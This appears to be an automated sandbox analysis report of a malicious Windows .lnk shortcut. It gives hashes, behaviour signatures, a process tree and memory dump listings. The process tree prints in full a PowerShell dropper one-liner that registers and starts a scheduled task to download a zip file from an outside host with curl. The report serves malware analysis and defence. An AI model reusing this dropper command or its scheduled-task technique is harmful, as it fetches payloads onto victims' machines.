Analysis
- max time kernel
298s - max time network
286s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
23/10/2026, 16:18
General
- Target UmVxlMGe.lnk
- Size 3KB
- Sample261023-tr73estt7p
- SHA256 93c578bc58a421efe86c4c5533cd65b4c71364f5df3000cbd66fa936026ec12f
Malware Config
Extracted
-
ps1
-
exe.dropper
https://seusite.com/arquivo.zip
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\UmVxlMGe.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "& { $ErrorActionPreference = 'Stop'; $url = 'https://seusite.com/arquivo.zip'; $destino = Join-Path $env:LOCALAPPDATA 'arquivo.zip'; $usuario = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name; $nome = 'DownloadManual-' + [guid]::NewGuid().ToString('N'); $aspas = [char]34; $argsCurl = '--fail --location --output ' + $aspas + $destino + $aspas + ' ' + $aspas + $url + $aspas; $curl = Join-Path $env:SystemRoot 'System32\curl.exe'; $acao = New-ScheduledTaskAction -Execute $curl -Argument $argsCurl; $principal = New-ScheduledTaskPrincipal -UserId $usuario -LogonType Interactive -RunLevel Limited; Register-ScheduledTask -TaskName $nome -Action $acao -Principal $principal | Out-Null; Start-ScheduledTask -TaskName $nome; }"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\curl.exe"C:\Windows\System32\curl.exe" --fail --location --output "C:\Users\Admin\AppData\Local\arquivo.zip" "https://seusite.com/arquivo.zip"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_qlseichu.fw1.psm1
memory/4640-18-0x0000017FBD2C0000-0x0000017FBD372000-memory.dmp
memory/4640-19-0x0000017FBD180000-0x0000017FBD18A000-memory.dmp
memory/4640-8-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/4640-9-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/4640-10-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/4640-11-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/4640-12-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/4640-13-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/4640-17-0x0000017FBD2A0000-0x0000017FBD2BE000-memory.dmp
memory/4640-3-0x00007FFB23A5F000-0x00007FFB23A60000-memory.dmp
memory/4640-7-0x0000017FBCF40000-0x0000017FBCF62000-memory.dmp
memory/4640-14-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/4640-4-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/4640-20-0x0000017FBD4F0000-0x0000017FBD50E000-memory.dmp
memory/4640-21-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/4640-22-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/4640-23-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/4640-24-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/4640-25-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/4640-26-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/4640-28-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp